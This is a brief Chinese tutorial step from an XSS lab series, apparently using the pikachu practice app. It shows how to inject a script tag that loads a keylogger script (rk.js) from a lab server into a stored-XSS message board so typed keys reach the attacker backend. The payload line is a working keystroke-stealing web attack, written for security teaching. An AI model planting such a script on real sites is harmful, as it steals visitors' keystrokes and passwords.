（七）XSS漏洞原理与利用_07获取键盘记录

需要修改rk.js代码中的pkxss后台服务器地址:


构建代码：只要有src属性都是可以的


<script src="http://192.168.0.234:8000/pkxss/rkeypress/rk.js"></script>


输入到存储型xss留言板




输入键盘上的值,后台就能获取到键盘值